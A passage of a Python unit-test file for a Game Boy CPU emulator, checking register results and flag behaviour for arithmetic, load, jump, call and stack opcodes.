(reg1 != reg2) else 0xffff self.cpu.resetFlags(['zero']) self.cpu.setFlags(['sub']) self.cpu[reg1] = immediate self.cpu[reg2] = immediate2 oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[reg1], (immediate + immediate2) & 65535) self.flags_test({'carry':1, 'sub':0, 'zero':0, 'halfcarry':1, 'carry':1}, oldFlags) immediate = 0x00 immediate2 = 0x00 self.cpu.resetFlags(['zero']) self.cpu.setFlags(['sub']) self.cpu[reg1] = immediate self.cpu[reg2] = immediate2 oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[reg1], (immediate + immediate2) & 65535) self.flags_test({'carry':0, 'sub':0, 'zero':0, 'halfcarry':0, 'carry':0}, oldFlags) def ADD_X_XX_mem_test(self, instruction, destReg, addressReg): immediate = 0xea immediate2 = 0xce address = 0xbaaa self.cpu[addressReg] = address self.cpu[address] = immediate self.cpu[destReg] = immediate2 self.cpu.setFlags(['sub']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255) self.flags_test({'carry':1, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags) immediate2 = 0x01 self.cpu[destReg] = immediate2 self.cpu.setFlags(['sub']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255) self.flags_test({'carry':0, 'sub':0, 'halfcarry':0, 'zero':0}, oldFlags) immediate2 = 0x06 self.cpu[destReg] = immediate2 self.cpu.setFlags(['sub']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255) self.flags_test({'carry':0, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags) def ADC_X_XX_mem_test(self, instruction, destReg, addressReg): immediate = 0xef immediate2 = 0xce address = 0xbaaa self.cpu[addressReg] = address self.cpu[address] = immediate self.cpu[destReg] = immediate2 self.cpu.setFlags(['zero']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255) self.flags_test({'carry': 1, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags) immediate2 = 0x01 self.cpu[destReg] = immediate2 self.cpu.setFlags(['zero']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2 + 1) & 255) self.flags_test({'carry': 0, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags) immediate2 = (0xff - 0xef) + 1 self.cpu[destReg] = immediate2 self.cpu.resetFlags(['zero']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255) self.flags_test({'carry': 1, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags) #TODO: find out whether zero should be set for this or not for above case def ADC_X_X_test(self, instruction, destReg, srcReg): immediate = 0xff immediate2 = 0xce if (destReg != srcReg) else immediate self.cpu[destReg] = immediate self.cpu[srcReg] = immediate2 self.cpu.setFlags(['zero', 'sub']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255) self.flags_test({'carry': 1, 'zero': 0, 'sub':0, 'halfcarry': 1}, oldFlags) immediate = 0x01 immediate2 = 0x05 if (destReg != srcReg) else immediate self.cpu.setFlags(['carry', 'zero', 'sub']) oldFlags = self.cpu['f'] self.cpu[destReg] = immediate self.cpu[srcReg] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2 + 1)) self.flags_test({'carry':0, 'zero':0, 'sub':0, 'halfcarry':0}, oldFlags) immediate = 0x00 immediate2 = 0x00 if (destReg != srcReg) else immediate self.cpu.setFlags(['sub', 'halfcarry']) oldFlags = self.cpu['f'] self.cpu[destReg] = immediate self.cpu[srcReg] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[destReg], (immediate + immediate2)) self.flags_test({'carry':0, 'zero':1, 'sub':0, 'halfcarry':0}, oldFlags) def LD_X_XX_mem_test(self, instruction, destReg, addressReg): address = 0xface immediate = 0xbe self.cpu[address] = immediate self.cpu[addressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], immediate) self.flags_test({}, oldFlags) def LDI_XX_X_mem_test(self, instruction, addressReg, srcReg): address = 0xadfe immediate = 0x37 self.cpu[addressReg] = address self.cpu[srcReg] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], immediate) self.assertEqual(self.cpu[addressReg], address + 1) self.flags_test({}, oldFlags) def LDI_X_XX_mem_test(self, instruction, destReg, addressReg): address = 0xacfe immediate = 0xde self.cpu[address] = immediate self.cpu[addressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], immediate) self.assertEqual(self.cpu[addressReg], address + 1) self.flags_test({}, oldFlags) def LDD_XX_X_test(self, instruction, addressReg, srcReg): address = 0xaabb immediate = 0xcd self.cpu[srcReg] = immediate self.cpu[addressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], immediate) self.assertEqual(self.cpu[addressReg], address - 1) self.flags_test({}, oldFlags) def LDD_X_XX_test(self, instruction, destReg, addressReg): address = 0xface immediate = 0xdd self.cpu[address] = immediate self.cpu[addressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], immediate) self.assertEqual(self.cpu[addressReg], address - 1) self.flags_test({}, oldFlags) def LD_X_X_test(self, instruction, destReg, srcReg): immediate = 0xfc immediate2 = 0xaa if (destReg != srcReg) else 0xfc self.cpu[srcReg] = immediate self.cpu[destReg] = immediate2 oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[destReg], immediate) self.flags_test({}, oldFlags) def LD_XX_X_test(self, instruction, addressReg, srcReg): if srcReg not in ['h','l']: immediate = 0xfa elif srcReg == 'h': immediate = 0xbe else: immediate = 0xef address = 0xbeef self.cpu[addressReg] = address self.cpu[srcReg] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], immediate) self.flags_test({}, oldFlags) def SBC_X_X_test(self, instruction, dest, src): immediate = 0xfa immediate2 = 0xff if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2) & 255) if (dest != src): self.flags_test({'carry':1, 'halfcarry':1, 'zero':0, 'sub':1}, oldFlags) else: self.flags_test({'carry':0, 'halfcarry':0, 'zero':1, 'sub':1}, oldFlags) carry = self.cpu.getFlag('carry') immediate2 = 0x01 if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 if (dest != src) else immediate self.cpu.resetFlags(['sub']) self.cpu.setFlags(['zero']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2 - carry) & 255) if (dest != src): self.flags_test({'carry':0, 'halfcarry': 0, 'sub':1, 'zero':0}, oldFlags) else: self.flags_test({'carry':0, 'halfcarry': 0, 'sub':1, 'zero':1}, oldFlags) def SBC_X_XX_mem_test(self, instruction, dest, addressReg): address = 0xacdf immediate = 0xbe immediate2 = 0xff self.cpu[addressReg] = address self.cpu[address] = immediate2 self.cpu[dest] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2) & 255) self.flags_test({'carry':1, 'halfcarry':1, 'sub':1, 'zero':0}, oldFlags) immediate2 = 0x0f self.cpu[dest] = immediate self.cpu[address] = immediate2 oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2 - 1) & 255) self.flags_test({'carry':0, 'halfcarry':1, 'sub':1, 'zero':0}, oldFlags) def SUB_X_X_test(self, instruction, dest, src): immediate = 0xfa immediate2 = 0xce if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 self.cpu.setFlags(['zero', 'halfcarry', 'carry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate - immediate2) self.flags_test({'carry':0, 'zero': (dest == src), 'sub':1, 'halfcarry': (dest != src)}, oldFlags) # test no half carry immediate = 0x0a immediate2 = 0xf0 if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 self.cpu.setFlags(['halfcarry', 'carry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2) & 255) self.flags_test({'carry':(dest != src), 'zero': (dest == src), 'sub':1, 'halfcarry': 0}, oldFlags) # test negative immediate2 = 0xff if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2) & 255) self.flags_test({'carry': (dest!=src), 'halfcarry': (dest!=src), 'sub':1, 'zero': (dest==src)}, oldFlags) def SUB_X_XX_mem_test(self, instruction, dest, addressReg): immediate = 0xfa immediate2 = 0xce address = 0x1337 self.cpu[addressReg] = address self.cpu[address] = immediate2 self.cpu[dest] = immediate instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate - immediate2) self.assertEqual(self.cpu.getFlag('carry'), 0) immediate2 = 0xff self.cpu[address] = immediate2 self.cpu[dest] = immediate instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2) & 255) self.assertEqual(self.cpu.getFlag('carry'), 1) def AND_X_X_test(self, instruction, dest, src): immediate = 0xad immediate2 = 0xce if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate & immediate2) def AND_X_XX_mem_test(self, instruction, dest, addressReg): immediate = 0xfa immediate2 = 0xce address = 0x1337 self.cpu[dest] = immediate self.cpu[address] = immediate2 self.cpu[addressReg] = address instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate & immediate2) def XOR_X_X_test(self, instruction, dest, src): immediate = 0xad immediate2 = 0xce if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate ^ immediate2) def XOR_X_XX_mem_test(self, instruction, dest, addressReg): immediate = 0xfa immediate2 = 0xce address = 0x1337 self.cpu[dest] = immediate self.cpu[address] = immediate2 self.cpu[addressReg] = address instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate ^ immediate2) def OR_X_X_test(self, instruction, dest, src): immediate = 0xad immediate2 = 0xce if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate | immediate2) def OR_X_XX_mem_test(self, instruction, dest, addressReg): immediate = 0xfa immediate2 = 0xce address = 0x1337 self.cpu[dest] = immediate self.cpu[address] = immediate2 self.cpu[addressReg] = address instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate | immediate2) def CP_n_test(self, instruction): immediate = 0xce immediate2 = 0xfa self.cpu['a'] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu['a'], immediate) self.assertEqual(self.cpu.getFlag('zero'), 0) self.assertEqual(self.cpu.getFlag('carry'), 1) immediate = 0xce immediate2 = 0xce self.cpu['a'] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu['a'], immediate) self.assertEqual(self.cpu.getFlag('zero'), 1) self.assertEqual(self.cpu.getFlag('carry'), 0) immediate = 0xfa immediate2 = 0xce self.cpu['a'] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu['a'], immediate) self.assertEqual(self.cpu.getFlag('zero'), 0) self.assertEqual(self.cpu.getFlag('carry'), 0) def CP_X_X_test(self, instruction, dest, src): immediate = 0xce immediate2 = 0xfa if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate) if (dest != src): self.assertEqual(self.cpu.getFlag('zero'), 0) self.assertEqual(self.cpu.getFlag('carry'), 1) else: self.assertEqual(self.cpu.getFlag('zero'), 1) self.assertEqual(self.cpu.getFlag('carry'), 0) immediate = 0xce immediate2 = 0xce if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate) self.assertEqual(self.cpu.getFlag('zero'), 1) self.assertEqual(self.cpu.getFlag('carry'), 0) immediate = 0xfa immediate2 = 0xce if (dest != src) else immediate self.cpu[dest] = immediate self.cpu[src] = immediate2 if (dest != src) else immediate instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate) if (dest != src): self.assertEqual(self.cpu.getFlag('zero'), 0) self.assertEqual(self.cpu.getFlag('carry'), 0) else: self.assertEqual(self.cpu.getFlag('zero'), 1) self.assertEqual(self.cpu.getFlag('carry'), 0) def CP_X_XX_mem_test(self, instruction, dest, addressReg): immediate = 0xce immediate2 = 0xfa address = 0xbeef self.cpu[addressReg] = address self.cpu[dest] = immediate self.cpu[address] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate) self.assertEqual(self.cpu.getFlag('zero'), 0) self.assertEqual(self.cpu.getFlag('carry'), 1) immediate = 0xce immediate2 = 0xce self.cpu[dest] = immediate self.cpu[address] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate) self.assertEqual(self.cpu.getFlag('zero'), 1) self.assertEqual(self.cpu.getFlag('carry'), 0) immediate = 0xfa immediate2 = 0xce self.cpu[dest] = immediate self.cpu[address] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate) self.assertEqual(self.cpu.getFlag('zero'), 0) self.assertEqual(self.cpu.getFlag('carry'), 0) def RelJumpTest(self, instruction, condition, twobytes=0): #no jump immediate = 0b01010111 if (twobytes == 0) else 0x0ace oldPC = self.cpu['pc'] if (twobytes == 0): self.cpu[oldPC+1] = immediate else: self.cpu.mmu.ww(oldPC+1, immediate) if condition[0] != 'N' and condition != ".": self.cpu.resetFlags([condition]) elif condition != ".": self.cpu.setFlags([condition[1:]]) instruction(self.cpu) if (condition != "."): if (instruction.__name__.find("_JP") == -1): self.assertEqual(self.cpu['pc'], oldPC + 2) #TODO: Is this right? else: self.assertEqual(self.cpu['pc'], oldPC + 3) else: if (instruction.__name__.find("_JP") == -1): self.assertEqual(self.cpu['pc'], oldPC + immediate + 2) else: self.assertEqual(self.cpu['pc'], immediate) # jump immediate = 0b01010111 if (twobytes == 0) else 0x0ace oldPC = self.cpu['pc'] if (twobytes == 0): self.cpu[oldPC+1] = immediate else: self.cpu.mmu.ww(oldPC+1, immediate) if condition[0] == "N" and condition != ".": self.cpu.resetFlags([condition[1:]]) elif condition != ".": self.cpu.setFlags([condition]) instruction(self.cpu) if (instruction.__name__.find("_JP") == -1): self.assertEqual(self.cpu['pc'], oldPC + immediate + 2) else: self.assertEqual(self.cpu['pc'], immediate) # negative jump immediate = 0b11010111 if (twobytes == 0) else 0xfffe oldPC = self.cpu['pc'] if (twobytes == 0): self.cpu[oldPC+1] = immediate else: self.cpu.mmu.ww(oldPC+1, immediate) if condition[0] == "N": self.cpu.resetFlags([condition[1:]]) elif condition != ".": self.cpu.setFlags([condition]) instruction(self.cpu) if (instruction.__name__.find("_JP") == -1): self.assertEqual(self.cpu['pc'], oldPC - ((~immediate + 1) & (2**(8*(twobytes+1)) - 1)) + 2) else: self.assertEqual(self.cpu['pc'], immediate) def RET_test(self, instruction, condition): retAddress = 0x1337 self.cpu.push(retAddress) # return if (condition[0] == 'N') and (condition != "."): self.cpu.resetFlags([condition[1:]]) elif (condition != "."): self.cpu.setFlags([condition]) instruction(self.cpu) self.assertEqual(self.cpu['pc'], retAddress) # no return if condition != ".": self.cpu['pc'] = 0 if (condition[0] == 'N'): self.cpu.setFlags([condition[1:]]) else: self.cpu.resetFlags([condition]) instruction(self.cpu) self.assertEqual(self.cpu['pc'], 1) def CALL_nn_test(self, instruction, condition): # call currentAddress = 0x1337 callAddress = 0xface if condition == ".": pass elif condition[0] == "N": self.cpu.resetFlags([condition[1:]]) else: self.cpu.setFlags([condition]) self.cpu['pc'] = currentAddress self.cpu.mmu.ww(self.cpu['pc']+1, callAddress) instruction(self.cpu) self.assertEqual(self.cpu['pc'], callAddress) self.assertEqual(self.cpu.mmu.rw(self.cpu['sp']), currentAddress+3) # no call currentAddress = 0x1337 callAddress = 0xface if condition == ".": return elif condition[0] == "N": self.cpu.setFlags([condition[1:]]) else: self.cpu.resetFlags([condition]) self.cpu['pc'] = currentAddress self.cpu.mmu.ww(self.cpu['pc']+1, callAddress) instruction(self.cpu) self.assertEqual(self.cpu['pc'], currentAddress+3) def POP_XX_test(self, instruction, dest): immediate = 0xface self.cpu.push(immediate) instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate) def PUSH_XX_test(self, instruction, src): immediate = 0xbeef self.cpu[src] = immediate instruction(self.cpu) self.assertEqual(self.cpu.mmu.rw(self.cpu['sp']), immediate) def ADD_X_n_test(self, instruction, dest, signed=0): # no carry immediate = 0xbe immediate2 = 0x01 self.cpu[dest] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate + immediate2) & (2**(8*len(dest))-1)) self.assertEqual(self.cpu.getFlag('carry'), 0) # carry immediate = 0xbe immediate2 = 0xff self.cpu[dest] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) if signed == 0: self.assertEqual(self.cpu[dest], (immediate + immediate2) & (2**(8*len(dest))-1)) else: self.assertEqual(self.cpu[dest], (immediate - ((~immediate2+1)&255)) & (2**(8*len(dest))-1)) self.assertEqual(self.cpu.getFlag('carry'), 1 if len(dest) == 1 else 0) def RST_X_test(self, instruction, address): currentAddress = 0x1337 self.cpu['pc'] = currentAddress instruction(self.cpu) self.assertEqual(self.cpu['pc'], int(address)) self.assertEqual(self.cpu.mmu.rw(self.cpu['sp']), currentAddress+1) def ADC_X_n_test(self, instruction, dest): immediate = 0xab immediate2 = 0xff self.cpu[dest] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate + immediate2) & 255) self.assertEqual(self.cpu.getFlag('carry'), 1) immediate = 0xab immediate2 = 0x01 self.cpu[dest] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate + immediate2 + 1) & 255) self.assertEqual(self.cpu.getFlag('carry'), 0) def SUB_X_n_test(self, instruction, dest): immediate = 0xab immediate2 = 0xbc self.cpu[dest] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2) & 255) self.assertEqual(self.cpu.getFlag('carry'), 1) # no carry immediate = 0xab immediate2 = 0x01 self.cpu[dest] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2) & 255) self.assertEqual(self.cpu.getFlag('carry'), 0) def SBC_X_n(self, instruction, dest): immediate = 0xab immediate2 = 0xff self.cpu[dest] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2) & 255) self.assertEqual(self.cpu.getFlag('carry'), 1) immediate = 0xab immediate2 = 0x01 self.cpu[dest] = immediate self.cpu[self.cpu['pc']+1] = immediate2 instruction(self.cpu) self.assertEqual(self.cpu[dest], (immediate - immediate2 - 1) & 255) self.assertEqual(self.cpu.getFlag('carry'), 0) #def testNibbleSwap(self): # self.SetUp() # forward = 0b10100001 # reverse = 0b00011010 # self.cpu['a'] = forward # self.cpu.nibbleSwap('a') # self.assertEqual(reverse,self.cpu['a']) #test memory swapping # self.cpu[0] = forward # self.cpu['h'],self.cpu['l'] = 0,0 # explicitly set address to low # self.cpu.nibbleHLSwap() # self.assertEqual(self.cpu[0],reverse) #def testResetSetAndGetBit(self): # self.SetUp() # self.cpu.setBit('a',0) # self.assertTrue(self.cpu.getBit('a',0)) # self.assertEqual(self.cpu.registers['a'],0b00000001) # self.assertFalse(self.cpu.getBit('a',5)) # self.cpu.setBit('a',5) # self.assertTrue(self.cpu.getBit('a',5)) # self.assertEqual(self.cpu.registers['a'],0b00100001) # self.cpu.setBit('a',7) # self.assertEqual(self.cpu.registers['a'],0b10100001) # self.cpu.resetBit('a',5) # self.assertEqual(self.cpu.registers['a'],0b10000001) #self.assertRaises(Exception,self.cpu.setBit,'a',8) #self.assertRaises(Exception,self.cpu.setBit,'a',-2) #h and l start at 0 # self.cpu.setMemoryBit('h','l',2) # self.assertEqual(self.cpu[0],0b0000100) # self.assertEqual(self.cpu.getMemoryBit('h','l',1),0) # self.assertEqual(self.cpu.getMemoryBit('h','l',2),1) def testResetSetAndGetFlags(self): self.SetUp() self.assertEqual(self.cpu.getFlag('zero'),0) self.cpu.setFlags(['zero']) self.assertEqual(self.cpu.getFlag('zero'),1) self.assertEqual(self.cpu.registers['f'],0b10000000) self.cpu.resetFlags(['zero']) self.assertEqual(self.cpu.getFlag('zero'),0) self.assertEqual(self.cpu.registers['f'], 0) self.cpu.setFlags(['zero']) self.cpu.setFlags(['sub']) self.assertEqual(self.cpu.registers['f'], 0b11000000) def test_i_NOP(self): self.SetUp() oldFlags = self.cpu['f'] self.cpu.i_NOP(self.cpu) self.flags_test({}, oldFlags) def test_i_LD_BC_nn(self): self.SetUp() immediate = 0b0100111010110001 self.cpu.mmu.ww(self.cpu.registers['pc']+1, immediate) self.cpu.i_LD_BC_nn(self.cpu) self.assertEqual(self.cpu.registers['c'], immediate & 255) self.assertEqual(self.cpu.registers['b'], immediate >> 8) immediate = 0b0000000010010110 self.cpu.mmu.ww(self.cpu.registers['pc']+1, immediate) self.cpu.i_LD_BC_nn(self.cpu) self.assertEqual(self.cpu.registers['c'], immediate & 255) self.assertEqual(self.cpu.registers['b'], immediate >> 8) def test_i_LD_BC_A_mem(self): self.SetUp() address = 0xdeab immediate = 0b11101011 self.cpu['a'] = immediate self.cpu['c'] = address & 255 self.cpu['b'] = address >> 8 self.cpu.i_LD__BC__A(self.cpu) self.assertEqual(self.cpu.mmu.rb(address), immediate) def test_i_INC_BC(self): self.SetUp() immediate = 0b1110101100010100 self.cpu['c'] = immediate & 255 self.cpu['b'] = immediate >> 8 self.cpu.i_INC_BC(self.cpu) self.assertEqual((self.cpu['b']<<8) + self.cpu['c'], immediate + 1) immediate = 0xaa self.cpu['c'] = immediate & 255 self.cpu['b'] = immediate >> 8 self.cpu.i_INC_BC(self.cpu) self.assertEqual((self.cpu['b']<<8) + self.cpu['c'], immediate + 1) def test_i_INC_B(self): self.SetUp() immediate = 0b11101011 self.cpu['b'] = immediate oldFlags = self.cpu['f'] self.cpu.i_INC_B(self.cpu) self.assertEqual(self.cpu['b'], immediate + 1) self.flags_test({ 'sub': 0, 'halfcarry' : 0}, oldFlags) immediate = 0xff self.cpu['b'] = immediate oldFlags = self.cpu['f'] self.cpu.i_INC_B(self.cpu) self.assertEqual(self.cpu['b'], (immediate+1) & 255) self.flags_test({ 'zero' : 1, 'sub' : 0, 'halfcarry' : 1}, oldFlags) def test_i_DEC_B(self): self.SetUp() immediate = 0b11101011 self.cpu['b'] = immediate self.cpu.i_DEC_B(self.cpu) self.assertEqual(self.cpu['b'], immediate - 1) #self.assertEqual(self.cpu.getFlag('carry'), 0) immediate = 0x00 self.cpu['b'] = immediate self.cpu.i_DEC_B(self.cpu) self.assertEqual(self.cpu['b'], 0xff) #self.assertEqual(self.cpu.getFlag('carry'), 1) def test_i_LD_B_n(self): self.SetUp() self.LD_X_n_test(self.cpu.i_LD_B_n, 'b') def test_i_RLC_A(self): self.SetUp() self.RLC_X_test(self.cpu.i_RLC_A, 'a') def test_i_LD_nn_SP(self): self.SetUp() immediate = 0xfa self.cpu.mmu.ww(self.cpu['pc']+1, immediate) self.cpu['sp'] = 1337 self.cpu.i_LD__nn__SP(self.cpu) self.assertEqual(self.cpu.mmu.rw(0xfa), 1337) def test_i_ADD_HL_BC(self): self.SetUp() self.ADD_XX_XX_test(self.cpu.i_ADD_HL_BC, 'hl', 'bc') def test_i_LD_A_BC_mem(self): self.SetUp() immediate = 0xa0 address = 0xabbc self.cpu.mmu.wb(address, immediate) self.cpu['bc'] = address self.cpu.i_LD_A__BC_(self.cpu) self.assertEqual(self.cpu['a'], immediate) def test_i_DEC_BC(self): self.SetUp() self.DecTest(self.cpu.i_DEC_BC, 'bc') def test_i_INC_C(self): self.SetUp() self.IncTest(self.cpu.i_INC_C, 'c') def test_i_DEC_C(self): self.SetUp() self.DecTest(self.cpu.i_DEC_C,'c') def test_i_LD_C_n(self): self.SetUp() self.LD_X_n_test(self.cpu.i_LD_C_n, 'c') def test_i_RRC_A(self): self.SetUp() self.RRC_X_test(self.cpu.i_RRC_A, 'a') def test_i_STOP(self): #TODO: test properly pass def test_i_LD_DE_nn(self): self.SetUp() self.LD_XX_nn_test(self.cpu.i_LD_DE_nn, 'de') def test_i_LD_DE_A_mem(self): self.SetUp() self.LD_XX_X_mem_test(self.cpu.i_LD__DE__A, 'de', 'a') def test_i_INC_DE(self): self.SetUp() self.IncTest(self.cpu.i_INC_DE, 'de') def test_i_INC_D(self): self.SetUp() self.IncTest(self.cpu.i_INC_D, 'd') def test_i_DEC_D(self): self.SetUp() self.DecTest(self.cpu.i_DEC_D, 'd') def test_i_LD_D_n(self): self.SetUp() self.LD_X_n_test(self.cpu.i_LD_D_n, 'd') def test_i_RL_A(self): self.SetUp() self.RL_X_test(self.cpu.i_RL_A, 'a') def test_i_JR_n(self): self.SetUp() immediate = 0b01001001 originalPC = self.cpu['pc'] self.cpu[self.cpu['pc']+1] = immediate self.cpu.i_JR_n(self.cpu) self.assertEqual(self.cpu['pc'], originalPC + immediate + 2) self.SetUp() immediate = 0b11001001 originalPC = 500 self.cpu['pc'] = originalPC #print "original PC: %s, immediate: %s, two's complement immediate: %s" % (originalPC, immediate, (~immediate + 1)) self.cpu[self.cpu['pc']+1] = immediate self.cpu.i_JR_n(self.cpu) self.assertEqual(self.cpu['pc'], originalPC - ((~immediate + 1) & 255) + 2) def test_i_ADD_HL_DE(self): self.SetUp() self.ADD_XX_XX_test(self.cpu.i_ADD_HL_DE, 'hl', 'de') def test_i_LD_A_DE_mem(self): self.SetUp() self.LD_X_XX_mem_test(self.cpu.i_LD_A__DE_, 'a', 'de') def test_i_DEC_DE(self): self.SetUp() self.DecTest(self.cpu.i_DEC_DE, 'de') def test_i_INC_E(self): self.SetUp() self.IncTest(self.cpu.i_INC_E, 'e') def test_i_DEC_E(self): self.SetUp() self.DecTest(self.cpu.i_DEC_E, 'e') def test_i_LD_E_n(self): self.SetUp() self.LD_X_n_test(self.cpu.i_LD_E_n, 'e') def test_i_RR_A(self): self.SetUp() self.RR_X_test(self.cpu.i_RR_A, 'a') def test_i_JR_NZ_n(self): self.SetUp() self.RelJumpTest(self.cpu.i_JR_NZ_n, 'Nzero') def test_i_LD_HL_nn(self): self.SetUp() self.LD_XX_nn_test(self.cpu.i_LD_HL_nn, 'hl') def test_i_LDI_HL_A_mem(self): self.SetUp() self.LDI_XX_X_mem_test(self.cpu.i_LDI__HL__A, 'hl', 'a') def test_i_INC_HL(self): self.SetUp() self.IncTest(self.cpu.i_INC_HL, 'hl') def test_i_INC_H(self): self.SetUp() self.IncTest(self.cpu.i_INC_H, 'h') def test_i_DEC_H(self): self.SetUp() self.DecTest(self.cpu.i_DEC_H, 'h') def test_i_LD_H_n(self): self.SetUp() self.LD_X_n_test(self.cpu.i_LD_H_n, 'h') def test_i_DAA(self): self.SetUp() immediate = 0b00111100 self.cpu['a'] = immediate self.cpu.i_DAA(self.cpu) self.assertEqual(self.cpu['a'], 0b01000010) immediate = 0b00110001 self.cpu['a'] = immediate self.cpu.i_DAA(self.cpu) self.assertEqual(self.cpu['a'], immediate) def test_i_JR_Z_n(self): self.SetUp() self.RelJumpTest(self.cpu.i_JR_Z_n, "zero") def test_i_ADD_HL_HL(self): self.SetUp() self.ADD_XX_XX_test(self.cpu.i_ADD_HL_HL, 'hl', 'hl') def test_i_LDI_A_HL_mem(self): self.SetUp() self.LDI_X_XX_mem_test(self.cpu.i_LDI_A__HL_, 'a', 'hl') def test_i_DEC_HL(self): self.SetUp() self.DecTest(self.cpu.i_DEC_HL, 'hl') def test_i_INC_L(self): self.SetUp() self.IncTest(self.cpu.i_INC_L, 'l') def test_i_DEC_L(self): self.SetUp() self.DecTest(self.cpu.i_DEC_L, 'l') def test_i_LD_L_n(self): self.SetUp() self.LD_X_n_test(self.cpu.i_LD_L_n, 'l') def test_i_CPL(self): self.SetUp() immediate = 0b10111011 self.cpu['a'] = immediate self.cpu.i_CPL(self.cpu) self.assertEqual(self.cpu['a'], 0b01000100) def test_i_JR_NC_n(self): self.SetUp() self.RelJumpTest(self.cpu.i_JR_NC_n, "Ncarry") def test_i_LD_SP_nn(self): self.SetUp() self.LD_XX_nn_test(self.cpu.i_LD_SP_nn, 'sp') def test_i_LDD_HL_A(self): self.SetUp() self.LDD_XX_X_test(self.cpu.i_LDD__HL__A, 'hl', 'a') def test_i_INC_SP(self): self.SetUp() self.IncTest(self.cpu.i_INC_SP, 'sp') def test_i_INC_HL_mem(self): self.SetUp() self.INC_XX_mem_test(self.cpu.i_INC__HL_, 'hl') def test_i_DEC_HL_mem(self): self.SetUp() self.DEC_XX_mem_test(self.cpu.i_DEC__HL_, 'hl') def test_i_LD_HL_n_mem(self): self.SetUp() self.LD_XX_n_mem_test(self.cpu.i_LD__HL__n, 'hl') def test_i_SCF(self): 